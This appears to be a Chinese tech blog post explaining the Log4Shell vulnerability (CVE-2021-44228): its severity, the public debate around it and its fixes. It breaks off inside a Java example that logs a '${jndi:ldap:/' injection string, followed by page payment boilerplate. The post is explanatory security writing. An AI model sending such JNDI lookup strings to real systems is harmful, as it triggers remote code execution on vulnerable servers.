Ghost in the Log4Shell

Log4Shell(CVE-2021-44228)是一个影响广泛的Java日志库log4j2的远程代码执行(RCE)漏洞。由于其默认开启、易利用性和供应链攻击特性,被安全专家视为有史以来最严重的漏洞之一。漏洞利用JNDI查找功能,允许攻击者通过精心构造的日志消息执行任意代码。修复工作复杂,影响持久,需要企业采取紧急措施,包括升级到log4j 2.17.0、禁用JNDI查找等。Log4Shell事件引发了对开源软件安全性的讨论,强调了安全左移、系统监控和敏捷威胁建模的重要性。
摘要由CSDN通过智能技术生成

多年以后,面对加班的夜晚,Volkan Yazıcı 一定会回忆起发生在 2021 年底的这件事情,除了没日没夜的工作和无休止的解释以外,当然也少不了人们的愤怒和对他的谩骂。一不小心就见证历史的,除了 log4j 的作者们,还有我们所有人。
起初,大家都度过了一个黑客狂欢,吃瓜群众玩梗,开发们加班的周末,以为这可能是又一次“心脏出血”或者“永恒之蓝”。随着事情愈演愈烈,影响愈来愈大,现在大家都应该认识到,这个漏洞比心脏出血要严重得多。比如 CISA 的官员称其为从业以来最严重的漏洞(之一),log4j 的修复也导致短短两周内升了三个大版本(目前只有最新的 2.17.0 被认为是没有问题的)。所以朋友们,不要怀疑,这绝对是一个有生之年系列。

核弹级漏洞 Log4Shell

漏洞本体 log4j 2.x,编号 CVE-2021-44228,满分10分,花名 Log4Shell

Log4Shell 之所以被称之为一个核弹级漏洞,是因为它具有以下这些特征:

  • 广泛性:大(海)量 Java 应用都依赖于 log4j 2,log4j 是事实上的日志标准。而 Java 本身的跨平台特性,使得所有主流操作系统包括各种运行 Java 的嵌入式设备都受到影响。
  • 严重性:从花名 Log4Shell 就可以看出来,它是一个 RCE 漏洞,也就是远程代码执行漏洞。这是所有漏洞中级别最高的一种。
  • 易利用性:该漏洞默认开启,攻击面广,攻击渠道多,攻击效果稳定,攻击条件易满足,简单来讲,对攻击者非常友好。堪称脚本小子的入门级漏洞。
  • 长期性:因为 Log4Shell 具有明显的供应链攻击特点,并且对于数量庞大的企业资产来说,确定影响范围非常非常非常困难。保守估计,log4j 的负面影响至少需要半年时间来缓解。

众说纷纭

距离漏洞爆出来已经过了三周,关于漏洞的讨论已然铺天盖地,审美疲劳。这其中,有安全厂商第一时间出来提供缓解措施和修复建议,有云计算和安全厂商趁热打铁推销他们的 WAF 或者其它安全产品;有很多的安全工作者在社交媒体上分享博客和文章,分析漏洞原理,科普安全知识;有开发人员质疑 log4j 的作者设计不当,莫名其妙,难辞其咎,也有开发人员对此表示理解,认为如今开源难做,重要而基础的组件全是免费维护,而一毛不拔的大厂才是罪恶根源。

作为一个冷眼旁观的安全工作者,笔者并不急于站队,注意力则放在搜集和整理关于 Log4Shell 的各种或有趣,或有价值的事实和知识上。对于开发人员来说,第一要务是尽快修复自己的产品和代码,但是忙碌之余,是不是也好奇除了这些无聊的升级和修复以外,关于 Log4Shell,还有哪些你需要知道的事情呢。

漏洞细节

以下代码对于 log4j (< 2.15.0),默认会触发这个漏洞:

public class App {
   
 private static final Logger logger = LogManager.getLogger(App.class);
 public static void main(String[] args) {
   
     logger.error("${jndi:ldap:/
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值